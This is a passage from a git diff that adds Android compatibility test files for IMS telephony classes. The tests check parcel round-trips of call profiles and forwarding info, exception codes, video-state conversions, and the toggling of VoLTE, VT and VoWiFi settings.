+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.os.Parcel;
+import android.telephony.ims.ImsCallForwardInfo;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsCallForwardInfoTest {
+
+    @Test
+    public void createParcelUnparcel() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        int condition = 1; // ImsUtInterface#CDIV_CF_BUSY
+        int status = 1; //enabled
+        int toA = 0x91; // International
+        int serviceClass = 1; // CommandsInterface#SERVICE_CLASS_VOICE
+        String number = "5555551212";
+        int timeSeconds = 1; // no reply timer
+        ImsCallForwardInfo info = new ImsCallForwardInfo(condition, status, toA, serviceClass,
+                number, timeSeconds);
+
+        Parcel infoParceled = Parcel.obtain();
+        info.writeToParcel(infoParceled, 0);
+        infoParceled.setDataPosition(0);
+        ImsCallForwardInfo unparceledInfo =
+                ImsCallForwardInfo.CREATOR.createFromParcel(infoParceled);
+        infoParceled.recycle();
+
+        assertEquals(condition, unparceledInfo.getCondition());
+        assertEquals(status, unparceledInfo.getStatus());
+        assertEquals(toA, unparceledInfo.getToA());
+        assertEquals(serviceClass, unparceledInfo.getServiceClass());
+        assertEquals(number, unparceledInfo.getNumber());
+        assertEquals(timeSeconds, unparceledInfo.getTimeSeconds());
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
new file mode 100644
index 0000000..f526ed7
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
@@ -0,0 +1,270 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Bundle;
+import android.os.Parcel;
+import android.telecom.VideoProfile;
+import android.telephony.emergency.EmergencyNumber;
+import android.telephony.ims.ImsCallProfile;
+import android.telephony.ims.ImsStreamMediaProfile;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsCallProfileTest {
+
+    @Test
+    public void testParcelUnparcel() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        Bundle testBundle = new Bundle();
+        testBundle.putString("testString", "testResult");
+        ImsStreamMediaProfile testProfile = new ImsStreamMediaProfile(1, 1, 1, 1, 1);
+        ImsCallProfile data = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VOICE_N_VIDEO, testBundle, testProfile);
+        data.setCallerNumberVerificationStatus(ImsCallProfile.VERIFICATION_STATUS_PASSED);
+        data.setEmergencyServiceCategories(EmergencyNumber.EMERGENCY_SERVICE_CATEGORY_POLICE
+                | EmergencyNumber.EMERGENCY_SERVICE_CATEGORY_AMBULANCE);
+        List<String> testUrns = new ArrayList<>();
+        testUrns.add("sos.ambulance");
+        data.setEmergencyUrns(testUrns);
+        data.setEmergencyCallRouting(EmergencyNumber.EMERGENCY_CALL_ROUTING_NORMAL);
+        data.setEmergencyCallTesting(true);
+        data.setHasKnownUserIntentEmergency(true);
+
+        Parcel dataParceled = Parcel.obtain();
+        data.writeToParcel(dataParceled, 0);
+        dataParceled.setDataPosition(0);
+        ImsCallProfile unparceledData =
+                ImsCallProfile.CREATOR.createFromParcel(dataParceled);
+        dataParceled.recycle();
+
+        assertEquals(data.getServiceType(), unparceledData.getServiceType());
+        assertEquals(data.getCallType(), unparceledData.getCallType());
+        assertEquals(data.getEmergencyServiceCategories(),
+                unparceledData.getEmergencyServiceCategories());
+        assertEquals(data.getEmergencyUrns(),
+                unparceledData.getEmergencyUrns());
+        assertEquals(EmergencyNumber.EMERGENCY_SERVICE_CATEGORY_POLICE
+                        | EmergencyNumber.EMERGENCY_SERVICE_CATEGORY_AMBULANCE,
+                unparceledData.getEmergencyServiceCategories());
+        assertEquals(testUrns, unparceledData.getEmergencyUrns());
+        assertEquals(data.getEmergencyCallRouting(),
+                unparceledData.getEmergencyCallRouting());
+        assertEquals(EmergencyNumber.EMERGENCY_CALL_ROUTING_NORMAL,
+                unparceledData.getEmergencyCallRouting());
+        assertEquals(true, unparceledData.isEmergencyCallTesting());
+        assertEquals(true, unparceledData.hasKnownUserIntentEmergency());
+
+        //stream media profile parceling
+        ImsStreamMediaProfile resultProfile = unparceledData.getMediaProfile();
+        assertEquals(testProfile.getAudioDirection(), resultProfile.getAudioDirection());
+        assertEquals(testProfile.getAudioQuality(), resultProfile.getAudioQuality());
+        assertEquals(testProfile.getRttMode(), resultProfile.getRttMode());
+        assertEquals(testProfile.getVideoDirection(), resultProfile.getVideoDirection());
+        assertEquals(testProfile.getVideoQuality(), resultProfile.getVideoQuality());
+        // bundle
+        assertEquals(testBundle.getString("testString"), unparceledData.getCallExtra("testString"));
+        // number verification
+        assertEquals(ImsCallProfile.VERIFICATION_STATUS_PASSED,
+                unparceledData.getCallerNumberVerificationStatus());
+    }
+
+    @Test
+    public void testCallExtras() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsCallProfile data = new ImsCallProfile();
+        // check defaults
+        assertEquals("", data.getCallExtra("invalid"));
+        assertEquals(-1, data.getCallExtraInt("invalid"));
+        assertEquals(false, data.getCallExtraBoolean("invalid"));
+        // check returning defaults
+        assertEquals("abc", data.getCallExtra("invalid", "abc"));
+        assertEquals(2, data.getCallExtraInt("invalid", 2));
+        assertEquals(true, data.getCallExtraBoolean("invalid", true));
+        // insert/retrieve
+        data.setCallExtra("testData", "testResult");
+        assertEquals("testResult", data.getCallExtra("testData"));
+        data.setCallExtraInt("testData", 1);
+        assertEquals(1, data.getCallExtraInt("testData"));
+        data.setCallExtraBoolean("testData", true);
+        assertEquals(true, data.getCallExtraBoolean("testData"));
+    }
+
+    @Test
+    public void testUpdateCallType() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsCallProfile data = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VOICE);
+        ImsCallProfile data2 = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VOICE_N_VIDEO);
+        data.updateCallType(data2);
+        assertEquals(data.getCallType(), data2.getCallType());
+    }
+
+    @Test
+    public void testUpdateCallExtras() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsCallProfile data = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VOICE);
+        data.setCallExtra("testData", "testResult");
+        ImsCallProfile data2 = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VOICE_N_VIDEO);
+        data2.setCallExtra("testData2", "testResult2");
+        data.updateCallExtras(data2);
+        assertEquals("testResult2", data.getCallExtra("testData2"));
+        assertEquals("", data.getCallExtra("testData"));
+    }
+
+    @Test
+    public void testUpdateMediaProfile() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsCallProfile data = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VOICE);
+        ImsStreamMediaProfile profile2 = new ImsStreamMediaProfile(1, 1, 1, 1, 1);
+        ImsCallProfile data2 = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VOICE_N_VIDEO, new Bundle(), profile2);
+        data.updateMediaProfile(data2);
+
+        assertEquals(profile2.getAudioDirection(), data.getMediaProfile().getAudioDirection());
+        assertEquals(profile2.getAudioQuality(), data.getMediaProfile().getAudioQuality());
+        assertEquals(profile2.getRttMode(), data.getMediaProfile().getRttMode());
+        assertEquals(profile2.getVideoDirection(), data.getMediaProfile().getVideoDirection());
+        assertEquals(profile2.getVideoQuality(), data.getMediaProfile().getVideoQuality());
+    }
+
+    @Test
+    public void testGetVideoStatefromProfile() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsCallProfile profile = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VT);
+        int result = ImsCallProfile.getVideoStateFromImsCallProfile(profile);
+        assertTrue(VideoProfile.isVideo(result));
+        assertFalse(VideoProfile.isPaused(result));
+    }
+
+    @Test
+    public void testGetVideoStateFromCallType() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsCallProfile profile = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VOICE);
+        int result = ImsCallProfile.getVideoStateFromCallType(profile.getCallType());
+        assertTrue(VideoProfile.isAudioOnly(result));
+
+        profile = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VT_RX);
+        result = ImsCallProfile.getVideoStateFromCallType(profile.getCallType());
+        assertTrue(VideoProfile.isReceptionEnabled(result));
+
+        profile = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VT_TX);
+        result = ImsCallProfile.getVideoStateFromCallType(profile.getCallType());
+        assertTrue(VideoProfile.isTransmissionEnabled(result));
+
+        profile = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VT);
+        result = ImsCallProfile.getVideoStateFromCallType(profile.getCallType());
+        assertTrue(VideoProfile.isBidirectional(result));
+    }
+
+    @Test
+    public void testGetCallTypeFromVideoState() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        VideoProfile videoProfile = new VideoProfile(VideoProfile.STATE_PAUSED);
+        assertEquals(ImsCallProfile.CALL_TYPE_VT_NODIR,
+                ImsCallProfile.getCallTypeFromVideoState(videoProfile.getVideoState()));
+
+        videoProfile = new VideoProfile(VideoProfile.STATE_TX_ENABLED);
+        assertEquals(ImsCallProfile.CALL_TYPE_VT_TX,
+                ImsCallProfile.getCallTypeFromVideoState(videoProfile.getVideoState()));
+
+        videoProfile = new VideoProfile(VideoProfile.STATE_RX_ENABLED);
+        assertEquals(ImsCallProfile.CALL_TYPE_VT_RX,
+                ImsCallProfile.getCallTypeFromVideoState(videoProfile.getVideoState()));
+
+        videoProfile = new VideoProfile(VideoProfile.STATE_RX_ENABLED
+                | VideoProfile.STATE_TX_ENABLED);
+        assertEquals(ImsCallProfile.CALL_TYPE_VT,
+                ImsCallProfile.getCallTypeFromVideoState(videoProfile.getVideoState()));
+    }
+
+    @Test
+    public void testIsVideoPaused() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsStreamMediaProfile testProfile = new ImsStreamMediaProfile(1, 1, 1,
+                ImsStreamMediaProfile.DIRECTION_INACTIVE, 1);
+        ImsCallProfile data = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VOICE_N_VIDEO, new Bundle(), testProfile);
+
+        assertTrue(data.isVideoPaused());
+
+        ImsStreamMediaProfile testProfile2 = new ImsStreamMediaProfile(1, 1, 1,
+                ImsStreamMediaProfile.DIRECTION_SEND_RECEIVE, 1);
+        ImsCallProfile data2 = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VOICE_N_VIDEO, new Bundle(), testProfile2);
+
+        data.updateMediaProfile(data2);
+
+        assertFalse(data.isVideoPaused());
+
+    }
+
+    @Test
+    public void testIsVideoCall() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsCallProfile data = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VT);
+
+        assertTrue(data.isVideoCall());
+
+        ImsCallProfile data2 = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VOICE);
+        data.updateCallType(data2);
+
+        assertFalse(data.isVideoCall());
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsExceptionTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsExceptionTest.java
new file mode 100644
index 0000000..4d16e8e
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsExceptionTest.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static junit.framework.TestCase.assertEquals;
+
+import android.telephony.ims.ImsException;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsExceptionTest {
+
+    @Test
+    public void testImsExceptionConstructors() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        ImsException e = new ImsException("Test1");
+        assertEquals(ImsException.CODE_ERROR_UNSPECIFIED, e.getCode());
+        ImsException e2 = new ImsException("Test2", ImsException.CODE_ERROR_SERVICE_UNAVAILABLE);
+        assertEquals(ImsException.CODE_ERROR_SERVICE_UNAVAILABLE, e2.getCode());
+        ImsException e3 = new ImsException("Test3", ImsException.CODE_ERROR_UNSUPPORTED_OPERATION);
+        assertEquals(ImsException.CODE_ERROR_UNSUPPORTED_OPERATION, e3.getCode());
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsExternalCallStateTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsExternalCallStateTest.java
new file mode 100644
index 0000000..46099e3
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsExternalCallStateTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.net.Uri;
+import android.os.Parcel;
+import android.telephony.ims.ImsCallProfile;
+import android.telephony.ims.ImsExternalCallState;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsExternalCallStateTest {
+
+    @Test
+    public void parcelUnparcel() {
+        String callId = "1";
+        Uri address = Uri.fromParts("tel", "5551212", null);
+        Uri localAddress = Uri.fromParts("tel", "5551213", null);
+        boolean isPullable = false;
+        int callState = ImsExternalCallState.CALL_STATE_CONFIRMED;
+        int callType = ImsCallProfile.CALL_TYPE_VOICE;
+        boolean isHeld = false;
+        ImsExternalCallState testState = new ImsExternalCallState(callId, address, localAddress,
+                isPullable, callState, callType, isHeld);
+
+        Parcel infoParceled = Parcel.obtain();
+        testState.writeToParcel(infoParceled, 0);
+        infoParceled.setDataPosition(0);
+        ImsExternalCallState unparceledInfo =
+                ImsExternalCallState.CREATOR.createFromParcel(infoParceled);
+        infoParceled.recycle();
+
+        // Test that the string is parsed to an int correctly
+        assertEquals(1 /**callId*/, unparceledInfo.getCallId());
+        assertEquals(address, unparceledInfo.getAddress());
+        assertEquals(localAddress, unparceledInfo.getLocalAddress());
+        assertEquals(isPullable, unparceledInfo.isCallPullable());
+        assertEquals(callState, unparceledInfo.getCallState());
+        assertEquals(callType, unparceledInfo.getCallType());
+        assertEquals(isHeld, unparceledInfo.isCallHeld());
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
new file mode 100644
index 0000000..34a1f3d
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
@@ -0,0 +1,515 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static junit.framework.TestCase.assertEquals;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.database.ContentObserver;
+import android.net.Uri;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.PersistableBundle;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.CarrierConfigManager;
+import android.telephony.SubscriptionManager;
+import android.telephony.ims.ImsException;
+import android.telephony.ims.ImsMmTelManager;
+import android.telephony.ims.feature.MmTelFeature;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsMmTelManagerTest {
+
+    // Copied from CarrierConfigManager, since these keys is inappropriately marked as @hide
+    private static final String KEY_CARRIER_VOLTE_OVERRIDE_WFC_PROVISIONING_BOOL =
+            "carrier_volte_override_wfc_provisioning_bool";
+    private static final String KEY_EDITABLE_WFC_MODE_BOOL = "editable_wfc_mode_bool";
+    private static final String KEY_USE_WFC_HOME_NETWORK_MODE_IN_ROAMING_NETWORK_BOOL =
+            "use_wfc_home_network_mode_in_roaming_network_bool";
+    private static final String KEY_EDITABLE_WFC_ROAMING_MODE_BOOL =
+            "editable_wfc_roaming_mode_bool";
+
+    private static int sTestSub = SubscriptionManager.INVALID_SUBSCRIPTION_ID;
+    private static Handler sHandler;
+    private static CarrierConfigReceiver sReceiver;
+
+    private static class CarrierConfigReceiver extends BroadcastReceiver {
+        private CountDownLatch mLatch = new CountDownLatch(1);
+        private final int mSubId;
+
+        CarrierConfigReceiver(int subId) {
+            mSubId = subId;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
+                int subId = intent.getIntExtra(CarrierConfigManager.EXTRA_SUBSCRIPTION_INDEX, -1);
+                if (mSubId == subId) {
+                    mLatch.countDown();
+                }
+            }
+        }
+
+        void clearQueue() {
+            mLatch = new CountDownLatch(1);
+        }
+
+        void waitForCarrierConfigChanged() throws Exception {
+            mLatch.await(5000, TimeUnit.MILLISECONDS);
+        }
+    }
+
+    @BeforeClass
+    public static void beforeAllTests() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        sTestSub = ImsUtils.getPreferredActiveSubId();
+
+        if (Looper.getMainLooper() == null) {
+            Looper.prepareMainLooper();
+        }
+        sHandler = new Handler(Looper.getMainLooper());
+
+        sReceiver = new CarrierConfigReceiver(sTestSub);
+        IntentFilter filter = new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED);
+        // ACTION_CARRIER_CONFIG_CHANGED is sticky, so we will get a callback right away.
+        getContext().registerReceiver(sReceiver, filter);
+    }
+
+    @AfterClass
+    public static void afterAllTests() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        if (sReceiver != null) {
+            getContext().unregisterReceiver(sReceiver);
+            sReceiver = null;
+        }
+    }
+
+    @Before
+    public void beforeTest() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        if (!SubscriptionManager.isValidSubscriptionId(sTestSub)) {
+            fail("This test requires that there is a SIM in the device!");
+        }
+    }
+
+    /**
+     * Given the advanced calling setting is editable and not hidden
+     * (see {@link CarrierConfigManager#KEY_EDITABLE_ENHANCED_4G_LTE_BOOL}, and
+     * {@link CarrierConfigManager#KEY_HIDE_ENHANCED_4G_LTE_BOOL}), set the advanced
+     * calling setting and ensure the correct calling setting is returned. Also ensure the
+     * ContentObserver is triggered properly.
+     */
+    @Test
+    public void testAdvancedCallingSetting() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Ensure advanced calling setting is editable.
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.KEY_EDITABLE_ENHANCED_4G_LTE_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.KEY_HIDE_ENHANCED_4G_LTE_BOOL, false);
+        overrideCarrierConfig(bundle);
+        // Register Observer
+        Uri callingUri = Uri.withAppendedPath(
+                SubscriptionManager.ADVANCED_CALLING_ENABLED_CONTENT_URI, "" + sTestSub);
+        CountDownLatch contentObservedLatch = new CountDownLatch(1);
+        ContentObserver observer = createObserver(callingUri, contentObservedLatch);
+
+        ImsMmTelManager mMmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+        boolean isEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+                ImsMmTelManager::isAdvancedCallingSettingEnabled);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setAdvancedCallingSettingEnabled(!isEnabled));
+
+        waitForLatch(contentObservedLatch, observer);
+        boolean isEnabledResult = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+                ImsMmTelManager::isAdvancedCallingSettingEnabled);
+        assertEquals("isAdvancedCallingSettingEnabled does not reflect the new value set by "
+                        + "setAdvancedCallingSettingEnabled", !isEnabled, isEnabledResult);
+
+        // Set back to default
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setAdvancedCallingSettingEnabled(isEnabled));
+        // restore original carrier config.
+        overrideCarrierConfig(null);
+    }
+
+    /**
+     * Set the VT setting and ensure it is queried successfully. Also ensure the ContentObserver
+     * is triggered properly.
+     */
+    @Test
+    public void testVtSetting() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        // Register Observer
+        Uri callingUri = Uri.withAppendedPath(
+                SubscriptionManager.VT_ENABLED_CONTENT_URI, "" + sTestSub);
+        CountDownLatch contentObservedLatch = new CountDownLatch(1);
+        ContentObserver observer = createObserver(callingUri, contentObservedLatch);
+
+        ImsMmTelManager mMmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+        boolean isEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+                ImsMmTelManager::isVtSettingEnabled);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setVtSettingEnabled(!isEnabled));
+
+        waitForLatch(contentObservedLatch, observer);
+        boolean isEnabledResult = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+                ImsMmTelManager::isVtSettingEnabled);
+        assertEquals("isVtSettingEnabled does not match the value set by setVtSettingEnabled",
+                !isEnabled, isEnabledResult);
+
+        // Set back to default
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setVtSettingEnabled(isEnabled));
+    }
+
+    /**
+     * Set the VoWiFi setting and ensure it is queried successfully. Also ensure the ContentObserver
+     * is triggered properly.
+     */
+    @Test
+    public void testVoWiFiSetting() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        PersistableBundle bundle = new PersistableBundle();
+        // Do not worry about provisioning for this test
+        bundle.putBoolean(KEY_CARRIER_VOLTE_OVERRIDE_WFC_PROVISIONING_BOOL, false);
+        bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_VOLTE_PROVISIONING_REQUIRED_BOOL, false);
+        overrideCarrierConfig(bundle);
+        // Register Observer
+        Uri callingUri = Uri.withAppendedPath(
+                SubscriptionManager.WFC_ENABLED_CONTENT_URI, "" + sTestSub);
+        CountDownLatch contentObservedLatch = new CountDownLatch(1);
+        ContentObserver observer = createObserver(callingUri, contentObservedLatch);
+
+        ImsMmTelManager mMmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+
+        boolean isEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+                ImsMmTelManager::isVoWiFiSettingEnabled);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setVoWiFiSettingEnabled(!isEnabled));
+
+        waitForLatch(contentObservedLatch, observer);
+        boolean isEnabledResult = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+                ImsMmTelManager::isVoWiFiSettingEnabled);
+        assertEquals("isVoWiFiSettingEnabled did not match value set by setVoWiFiSettingEnabled",
+                !isEnabled, isEnabledResult);
+
+        // Set back to default
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setVoWiFiSettingEnabled(isEnabled));
+        overrideCarrierConfig(null);
+    }
+
+    /**
+     * Set the VoWiFi roaming setting and ensure it is queried successfully. Also ensure the
+     * ContentObserver is triggered properly.
+     */
+    @Test
+    public void testVoWiFiRoamingSetting() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        Uri callingUri = Uri.withAppendedPath(
+                SubscriptionManager.WFC_ROAMING_ENABLED_CONTENT_URI, "" + sTestSub);
+        CountDownLatch contentObservedLatch = new CountDownLatch(1);
+        ContentObserver observer = createObserver(callingUri, contentObservedLatch);
+
+        ImsMmTelManager mMmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+        boolean isEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+                ImsMmTelManager::isVoWiFiRoamingSettingEnabled);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setVoWiFiRoamingSettingEnabled(!isEnabled));
+
+        waitForLatch(contentObservedLatch, observer);
+        boolean isEnabledResult = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+                ImsMmTelManager::isVoWiFiRoamingSettingEnabled);
+        assertEquals("isVoWiFiRoamingSettingEnabled result does not match the value set by "
+                + "setVoWiFiRoamingSettingEnabled", !isEnabled, isEnabledResult);
+
+        // Set back to default
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setVoWiFiRoamingSettingEnabled(isEnabled));
+    }
+
+    /**
+     * Set the VoWiFi Mode setting and ensure the ContentResolver is triggered as well.
+     */
+    @Test
+    public void testVoWiFiModeSetting() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(KEY_EDITABLE_WFC_MODE_BOOL, true);
+        overrideCarrierConfig(bundle);
+        // Register Observer
+        Uri callingUri = Uri.withAppendedPath(
+                SubscriptionManager.WFC_MODE_CONTENT_URI, "" + sTestSub);
+        CountDownLatch contentObservedLatch = new CountDownLatch(1);
+        ContentObserver observer = createObserver(callingUri, contentObservedLatch);
+
+        ImsMmTelManager mMmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+        int oldMode = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+                ImsMmTelManager::getVoWiFiModeSetting);
+        // Keep the mode in the bounds 0-2
+        int newMode = (oldMode + 1) % 3;
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setVoWiFiModeSetting(newMode));
+
+        waitForLatch(contentObservedLatch, observer);
+        int newModeResult = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+                ImsMmTelManager::getVoWiFiModeSetting);
+        assertEquals(newMode, newModeResult);
+
